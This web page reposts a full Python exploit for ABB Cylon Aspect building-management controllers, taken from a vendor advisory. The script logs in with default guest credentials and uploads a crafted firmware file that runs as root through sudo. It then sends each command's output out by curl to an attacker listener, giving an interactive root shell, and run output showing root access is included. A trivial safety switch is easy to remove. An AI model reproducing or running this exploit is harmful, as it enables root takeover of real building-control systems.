Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

#!/usr/bin/env python
#
#
# ABB Cylon Aspect 3.08.03 (projectUpdateBSXFileProcess.php) Remote Guest2Root Exploit
#
#
# #!/usr/bin/env python
#
#
# ABB Cylon Aspect 3.08.03 (projectUpdateBSXFileProcess.php) Remote Guest2Root Exploit
#
#
# Vendor: ABB Ltd.
# Product web page: https://www.global.abb
# Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
# Firmware: <=3.08.03
#
# Summary: ASPECT is an award-winning scalable building energy management
# and control solution designed to allow users seamless access to their
# building data through standard building protocols including smart devices.
#
# Desc: The ABB BMS/BAS controller is vulnerable to code execution and sudo
# misconfiguration flaws. An authenticated remote code execution vulnerability
# in the firmware update mechanism allows an attacker with valid credentials to
# escalate privileges and execute commands as root. The process involves uploading
# a crafted .bsx file through projectUpdateBSXFileProcess.php, which is then moved
# to htmlroot and executed by projectUpdateBSXExecute.php. This script leverages
# sudo to run the uploaded bsx file, enabling the attacker to bypass input validation
# checks and execute arbitrary code, leading to full system compromise and unauthorized
# root access.
#
# ---------------------------------------------------------------------------------
#
# $ ./bsxroot.py 192.168.73.31 192.168.73.9 --creds guest:guest
# [o] Exploit starting at 21.05.2025 12:33:47
# [o] Using credentials: guest:*****
# [o] Auth successfull.
# [o] PHPSESSID: g02p9tnog4d2r1z4eha1e9e688
# [o] Listening on 192.168.73.9:5555...
# [o] Building name: ["Tower 3"]
# [o] runtime.ver=v3.08.03
# [+] -> [virtual] rootshell
#
# # id
# uid=0(root) gid=0(root) groups=0(root)
# # pwd
# /home/MIX_CMIX/htmlroot
# exit
# [o] Removing callback file.
# [!] Connection terminated.
#
# ---------------------------------------------------------------------------------
#
#
# Tested on: GNU/Linux 3.15.10 (armv7l)
# GNU/Linux 3.10.0 (x86_64)
# GNU/Linux 2.6.32 (x86_64)
# Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
# Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
# PHP/7.3.11
# PHP/5.6.30
# PHP/5.4.16
# PHP/4.4.8
# PHP/5.3.3
# AspectFT Automation Application Server
# lighttpd/1.4.32
# lighttpd/1.4.18
# Apache/2.2.15 (CentOS)
# OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
# OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2025-5947
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5947.php
#
#
# 21.04.2024
#
#

from colorama import init, Fore
from urllib.parse import quote
from time import sleep
import threading
import datetime
import requests
import socket
import re
import os
import sys

init()

def safe(*trigger, ):
return True

def auth(target_ip, user, pwd):
login_ep = f"http://{target_ip}/validate/login.php"
payload = {
'f_user' : user, # 'aamuser, guest'
'f_pass' : pwd, # 'default, guest'
'submit' : 'Login'
}
sess = requests.Session()
r = sess.post(login_ep, data=payload)
if r.status_code == 200 and 'PHPSESSID' in sess.cookies:
print("[o] Auth successfull.")
phpsessid = sess.cookies.get('PHPSESSID')
print("[o] PHPSESSID:", phpsessid)
return sess.cookies
else:
print("[!] Auth failed.")
return None

def kacuj(target_ip, listen_ip, cmd, token=None, cookies=None):
agentwho = "NetRanger/84.19"
payload = f"curl -A \"`{cmd}`\" {listen_ip}:5555"
url = f"http://{target_ip}/projectUpdateBSXFileProcess.php"

headers = {
"Content-Type": "multipart/form-data; boundary=----zeroscience",
"User-Agent": agentwho
}
data = (
"------zeroscience\r\n"
f"Content-Disposition: form-data; name=\"userfile\"; filename={AAM}\r\n"
"Content-Type: application/octet-stream\r\n\r\n"
f"{payload}\r\n"
'------zeroscience--\r\n'
)
try:
r = requests.post(url, headers=headers, data=data, cookies=cookies)
if r.status_code == 200:
url_execute = f"http://{target_ip}/projectUpdateBSXExecute.php?file={AAM}"
r = requests.get(url_execute, cookies=cookies)

return r.content

except requests.exceptions.RequestException as e:
print(f"[!] Error sending payload: {e}")

return None

def koj_slusha(listen_ip):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", 5555))
s.listen(1)

print(f"[o] Listening on {listen_ip}:5555...")

while True:
conn, addr = s.accept()
try:
data = conn.recv(9999)
if not data:
print("[!] Connection closed by remote host.")
break
dd = data.decode("utf-8", errors="ignore")
uam = re.search(r"User-Agent:\s*(.*)\s*Host:", dd, re.DOTALL)
if uam:
print(uam.group(1), end="")
else:
print
#print(f"[o] Full response:\n{dd}")
except Exception as e:
print(f"[!] Error while receiving data: {e}")
finally:
conn.close()

def main():
if safe(True):
print("\nSafety: \033[92mON\033[0m")
exit(-17)
else:
next

global AAM
global start
AAM = "firmware.bsx"

start = datetime.datetime.now()
start = start.strftime("%d.%m.%Y %H:%M:%S")
title = "\033[96mABB Cylon? ASPECT? Supervisory Building Control v3.08.03\033[0m"
subtl = "\033[95m\t\t-> Remote Root Exploit <-\033[0m"
prj = f"""
P R O J E C T\033[90m

.|
| |
|'| ._____
___ | | |. |' .---"|
_ .-' '-. | | .--'| || | _| |
.-'| _.| | || '-__ | | | || |
|' | |. | || | | | | || |
____| '-' ' "" '-' '-.' '` |____
?????????????????????????? ???????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
????????????????????????? ????????????
???????????????????????????????????????
??????????????????????????????????????
???????????????????????????????????????
???????????????????????????????????????
???????????????????????????????????????
????????????????????????? ????????????
\033[0m
{title}
{subtl}
"""
if len(sys.argv) < 4:
print(prj)
print("./bsxroot.py <targetIP> <listenIP> <PHPSESSID / --creds user:pass>")
sys.exit(-0)

target_ip = sys.argv[1]
listen_ip = sys.argv[2]
auth_arg = sys.argv[3]

print("[o] Exploit starting at", start)

if "--creds" in sys.argv:
creds_index = sys.argv.index("--creds") + 1
if creds_index >= len(sys.argv):
print("[!] Error: Missing credentials after --creds.")
sys.exit(-1)

user_pass = sys.argv[creds_index]
if ":" not in user_pass:
print("[!] Error: Invalid credentials format. Expected format: user:pass.")
sys.exit(-2)

user, pwd = user_pass.split(":")
print(f"[o] Using credentials: {user}:{'*' * len(pwd)}")
cookies = auth(target_ip, user, pwd)
else:
token = auth_arg
cookies = {"PHPSESSID": token}
if not cookies:
sys.exit(-3)

nishka = threading.Thread(target=koj_slusha, args=(listen_ip,))
nishka.daemon = True
nishka.start()

bacname = f"http://{target_ip}/getApplicationNamesJS.php"
r = requests.get(bacname)
if r.status_code == 200:
try:
r = r.content
decor = r.decode("utf-8")
except UnicodeDecodeError:
decor = r.decode("utf-8", errors="ignore")

odg = re.search(r"var instanceDirectory=(.*?);", decor)
if odg:
cmd = "echo -ne \"[o] \" ; cat runtime/release.properties | grep -w 'runtime.ver'"
print("[o] Building name:", odg.group(1))
kacuj(target_ip, listen_ip, cmd, token=None, cookies=cookies)
print("\033[92m[+] -> [virtual] rootshell\033[0m\n")
else:
print("[o] Unknown building name.")
sleep(0.01)

while True:
sleep(0.01)
cmd = input("# ")
if cmd.lower() in ["exit", "quit"]:
print("[o] Removing callback file.")
kacuj(target_ip, listen_ip, "rm /tmp/" + AAM, token=None, cookies=cookies)
print("\033[91m[!] Connection terminated.\033[0m")
os._exit(-17)

kacuj(target_ip, listen_ip, cmd, token=None, cookies=cookies)

nishka.join()

if __name__ == "__main__":
main()
Social Media Share